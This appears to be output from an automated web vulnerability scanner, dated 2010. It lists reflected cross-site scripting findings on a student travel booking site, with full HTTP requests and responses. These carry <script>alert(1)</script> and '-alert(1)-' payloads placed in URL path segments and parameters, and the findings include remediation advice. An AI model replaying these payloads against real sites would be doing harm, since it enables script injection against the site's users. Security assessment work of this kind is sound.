GET /Build7.6.3.2_20/javascript/jquery15712<script>alert(1)</script>7809cc084f8/jquery.autocomplete.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload f3d61<script>alert(1)</script>273dcee75ae was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.jsf3d61<script>alert(1)</script>273dcee75ae HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c78f5<script>alert(1)</script>ca47f60f0ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20c78f5<script>alert(1)</script>ca47f60f0ef/javascript/jquery/jquery.bgiframe.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20c78f5<script>alert(1)</script>ca47f60f0ef/javascript/jquery/c78f5<script>alert(1)</script>ca47f60f0ef/javascript/jquery/jquery.bgiframe.min.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d268f<script>alert(1)</script>5863186fa1c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascriptd268f<script>alert(1)</script>5863186fa1c/jquery/jquery.bgiframe.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 71f4e<script>alert(1)</script>a526950090f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery71f4e<script>alert(1)</script>a526950090f/jquery.bgiframe.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 29846<script>alert(1)</script>b14ed52d32f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery/jquery.bgiframe.min.js29846<script>alert(1)</script>b14ed52d32f HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload af5da<script>alert(1)</script>bd91a534b3e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20af5da<script>alert(1)</script>bd91a534b3e/javascript/jquery/jquery.curvycorners.packed.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20af5da<script>alert(1)</script>bd91a534b3e/javascript/jquery/af5da<script>alert(1)</script>bd91a534b3e/javascript/jquery/jquery.curvycorners.packed.js) is not av ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 19e5a<script>alert(1)</script>50dcbf3ab8c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript19e5a<script>alert(1)</script>50dcbf3ab8c/jquery/jquery.curvycorners.packed.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7c1cc<script>alert(1)</script>fc662c04655 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery7c1cc<script>alert(1)</script>fc662c04655/jquery.curvycorners.packed.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload dde7e<script>alert(1)</script>4b5e359d36c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery/jquery.curvycorners.packed.jsdde7e<script>alert(1)</script>4b5e359d36c HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 83ef9<script>alert(1)</script>803f9690762 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_2083ef9<script>alert(1)</script>803f9690762/javascript/prototypes/SearchForm.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The requested resource (/Build7.6.3.2_2083ef9<script>alert(1)</script>803f9690762/javascript/prototypes/83ef9<script>alert(1)</script>803f9690762/javascript/prototypes/SearchForm.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3aecf<script>alert(1)</script>c7acd43b607 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript3aecf<script>alert(1)</script>c7acd43b607/prototypes/SearchForm.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 632b2<script>alert(1)</script>a4f2fa3c536 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/prototypes632b2<script>alert(1)</script>a4f2fa3c536/SearchForm.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 54db0<script>alert(1)</script>fa99ff763c4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/prototypes/SearchForm.js54db0<script>alert(1)</script>fa99ff763c4 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 51416<script>alert(1)</script>25b3270c5d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fly51416<script>alert(1)</script>25b3270c5d4/searchUtil HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:49 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 98 Date: Sat, 13 Nov 2010 20:56:48 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/fly51416<script>alert(1)</script>25b3270c5d4/searchUtil) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c4bfc<script>alert(1)</script>746b80e92b4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fly/c4bfc<script>alert(1)</script>746b80e92b4 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:49 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 88 Date: Sat, 13 Nov 2010 20:56:48 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/fly/c4bfc<script>alert(1)</script>746b80e92b4) is not available
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ff89c<script>alert(1)</script>6d5a9238f96 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /grouptravelrequestff89c<script>alert(1)</script>6d5a9238f96 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:13 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 102 Date: Sun, 14 Nov 2010 02:05:12 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/grouptravelrequestff89c<script>alert(1)</script>6d5a9238f96) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 27b75<script>alert(1)</script>fe0c495bb82 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/airportCodesPopupTop.jsp27b75<script>alert(1)</script>fe0c495bb82 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:52 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 117 Date: Sat, 13 Nov 2010 20:56:51 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/includes/airportCodesPopupTop.jsp27b75<script>alert(1)</script>fe0c495bb82) is not available
The value of the field request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24436"><script>alert(1)</script>b179a584a81 was submitted in the field parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/airportCodesPopupTop.jsp?field=outboundAirport24436"><script>alert(1)</script>b179a584a81 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:04 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sun, 14 Nov 2010 02:05:03 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The value of the field request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6846"-alert(1)-"665baba1d81 was submitted in the field parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/airportCodesPopupTop.jsp?field=outboundAirportd6846"-alert(1)-"665baba1d81 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:05 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sun, 14 Nov 2010 02:05:04 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
1.66. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.studentuniverse.com
Path:
/includes/airportCodesPopupTop.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35c7c"-alert(1)-"0d5d379e187 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/airportCodesPopupTop.jsp?35c7c"-alert(1)-"0d5d379e187=1 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:52 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sat, 13 Nov 2010 20:56:51 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload cc1f8<script>alert(1)</script>278120a9d28 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/airsearchWait.jspcc1f8<script>alert(1)</script>278120a9d28 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
